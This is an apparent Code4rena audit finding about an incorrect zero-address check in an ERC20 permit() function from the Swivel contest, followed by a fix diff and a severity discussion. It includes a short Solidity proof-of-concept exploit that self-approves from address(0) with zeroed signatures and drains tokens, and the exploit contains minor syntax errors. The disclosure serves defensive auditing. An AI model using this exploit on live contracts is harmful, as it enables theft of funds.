ERC20 Incorrect check on returnedAddress in permit() results in unlimited approval of zero address

[code423n4]

Lines of code

https://github.com/code-423n4/2022-07-swivel/blob/daf72892d8a8d6eaa43b9e7d1924ccb0e612ee3c/Tokens/Erc20.sol#L165-L167

Vulnerability details

Impact

When creating ERC20.sol from Solmate, a require() in permit() was converted to a custom error incorrectly.

It now reads:

if (recoveredAddress != address(0) && recoveredAddress != owner) {
    revert Invalid(msg.sender, owner);
}

So if the recoveredAddress is non-zero and the recoveredAddress is not owner it will error. But if the recoveredAddress == 0x0 then it will pass this check.

Anyone can permit themselves as a spender using the zero address for any token which inherits this ERC20 implementation. So, for example, someone could redeem some zcTokens for underlying, then transfer the burned tokens back to themselves and repeat, draining the protocol.

Proof of Concept

function attack(IZcToken zctoken) {
    zctoken.permit(
        address(0x0),
        address(this),
        type(uint).max,
        block.timestamp,
        uint8(0),  // using 0 for r,s,v returns address(0x0) from ecrecover()
        bytes32(0),
        bytes32(0)
    );
    assert(zctoken.allowance(address(0x0), address(this)), type(uint).max);

    uint amount = zctoken.balanceOf(address(0x0)

    zctoken.transferFrom(
        address(0x0),
        address(this),
        amount
    );

    // assumes attacker has previously acquired notional
    IMarketPlace(mp).burnZcTokenRemovingNotional(
        zctoken.protocol(),
        zctoken.underlying(),
        zctoken.maturity(),
        address(this),
        amount
    );

    // .. repeat until drained, then move on to next token

}

Recommended Mitigation Steps

diff --git a/Creator/Erc20.sol b/Creator/Erc20.sol
index a1f72b0..8464626 100644
--- a/Creator/Erc20.sol
+++ b/Creator/Erc20.sol
@@ -162,7 +162,7 @@ contract Erc20 {
                 s
             );

-            if (recoveredAddress != address(0) && recoveredAddress != owner) {
+            if (recoveredAddress == address(0) || recoveredAddress != owner) {
                 revert Invalid(msg.sender, owner);
             }

[JTraversa]

This would rely on the zcTokens themselves to sit on address(0) right?

So the big thing would be that whatever burn implementation the token uses must actually remove the tokens from the supply rather than sending them to address(0). (which this implementation does)

That said, its clear the statement wasnt as intended (or that block would have been removed).

• With scope questions this should probably be low-med or disputed?

[robrobbins]

addressed: https://github.com/Swivel-Finance/gost/pull/415

[bghughes]

This would rely on the zcTokens themselves to sit on address(0) right?

So the big thing would be that whatever burn implementation the token uses must actually remove the tokens from the supply rather than sending them to address(0). (which this implementation does)

That said, its clear the statement wasnt as intended (or that block would have been removed).

• With scope questions this should probably be low-med or disputed?

It's an interesting scope question as it questions a dependency - that said, this sort of low-level dependency, if used throughout the protocol, could jeopardize funds in a vault and break ERC-20 assumptions. I think the issue should stand given the risk.

[JTraversa]

Yea agreed.

That said I'm more emphasizing the other part for the severity claim?:

So the big thing would be that whatever burn implementation the token uses must actually remove the tokens from the supply rather than sending them to address(0). (which this implementation does)

Though I think we are ameliorating this anyways, the issue would only arise if somehow address(0) was broken, as discussed by the warden himself in this twitter thread: https://twitter.com/devtooligan/status/1554709426652688384

[0xean]

Given the current implementation does not send these tokens to address(0) to burn them I think this should be downgraded to medium severity.

The "external requirement" would be someone / some protocol trying to burn tokens be sending them to address(0) instead of calling burn.

I don't see a direct attack path given the current implementation but do think this is above QA, med seems right.